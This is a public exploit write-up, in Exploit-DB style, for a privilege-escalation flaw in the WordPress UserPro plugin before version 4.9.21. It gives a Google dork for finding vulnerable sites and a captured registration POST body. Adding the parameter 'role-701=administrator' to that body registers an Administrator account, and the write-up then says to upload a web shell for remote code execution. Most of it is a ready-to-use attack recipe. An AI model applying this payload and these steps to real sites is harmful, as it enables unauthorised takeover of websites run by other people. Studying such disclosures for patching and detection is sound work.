# Exploit Title: Wordpress Plugin UserPro < 4.9.21 User Registration With Administrator Role # Google Dork: inurl:/wp-content/plugins/userpro/ # Date: 3rd January, 2019 # Exploit Author: Noman Riffat # Vendor Homepage: https://userproplugin.com/ # Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681 # Version: < 4.9.21 # Tested on: Wordpress 4.9.9 with linux but should work on all WP versions and OS as well UserPro fixed a user registration with administrator privileges vulnerability in version 4.9.21 But there wasn't any POC available so this exploit demonstrates this vulnerability. https://demo.userproplugin.com/wp-content/plugins/userpro/changelog.txt From the changelog: "Security Fix : Registration role validation fix" The latest version up to now is 4.9.29 The vulnerability allows anyone to register with Administrator role which can easily be turned into RCE Steps to reproduce: 1. Go to the registration form, input random fake values, trigger Burp Suite and click submit. 2. The POST data will look similar to following redirect_uri-701=&_myuserpro_nonce=xxxxxx&_wp_http_referer=%2F&unique_id=701&user_login-701=USERNAME&user_email-701= USERNAME@EMAIL.COM &user_pass-701=PASSWORD&user_pass_confirm-701=PASSWORD&display_name-701=&profilepicture-701=&country-701=&facebook-701=&twitter-701=&google_plus-701=&user_url-701=&terms=on&action=userpro_process_form&template=register&group=default&shortcode=xxxxxxxxxxxxxxxxxxxxxxxxxxx Here "-701" is a random postfix number and gets stripped at the server. Other than that, the interesting values are user_login user_email user_pass user_pass_confirm 3. Adding following extra parameter in POST data will register the user with Administrator privileges role-701=administrator So the modified POST data will look similar to following role-701=administrator&redirect_uri-701=&_myuserpro_nonce=xxxxxx&....snip....snip.... 4. Forward the POST data in Burp Suite and you will get redirect to /profile/ page with Administrator menu on top. Access /wp-admin/ to get to the dashboard 5. Upload shell with default methods @nomanriffat